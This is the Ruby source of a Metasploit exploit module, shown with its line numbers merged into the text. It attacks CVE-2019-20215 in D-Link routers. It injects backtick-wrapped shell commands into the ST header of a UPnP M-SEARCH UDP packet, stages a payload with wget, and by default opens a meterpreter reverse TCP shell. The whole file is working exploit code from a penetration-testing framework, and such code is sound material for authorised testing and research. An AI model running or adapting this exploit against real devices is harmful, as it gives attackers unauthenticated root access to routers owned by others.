Path: blob/master/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::CmdStager10include Msf::Module::Deprecated1112deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',19'Description' => %q{20D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.21},22'Author' => [23's1kr10s',24'secenv'25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2019-20215'],29['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']30],31'DisclosureDate' => '2019-12-24',32'Privileged' => true,33'Platform' => 'linux',34'Arch' => ARCH_MIPSBE,35'DefaultOptions' => {36'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',37'CMDSTAGER::FLAVOR' => 'wget',38'RPORT' => '1900'39},40'Targets' => [41[ 'Auto', {} ],42],43'CmdStagerFlavor' => %w[echo wget],44'DefaultTarget' => 0,45'Notes' => {46'Stability' => [CRASH_SAFE],47'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],48'Reliability' => [REPEATABLE_SESSION]49}50)51)5253register_options(54[55Msf::OptEnum.new('VECTOR', [true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])56]57)58end5960def exploit61execute_cmdstager(linemax: 1500)62end6364def execute_command(cmd, _opts)65type = datastore['VECTOR']66if type == 'URN'67print_status('Target Payload URN')68val = "urn:device:1;`#{cmd}`"69else70print_status('Target Payload UUID')71val = "uuid:`#{cmd}`"72end7374connect_udp75header = "M-SEARCH * HTTP/1.1\r\n"76header << "Host:239.255.255.250: #{datastore['RPORT']}\r\n"77header << "ST:#{val}\r\n"78header << "Man:\"ssdp:discover\"\r\n"79header << "MX:2\r\n\r\n"80udp_sock.put(header)81disconnect_udp82end83end848586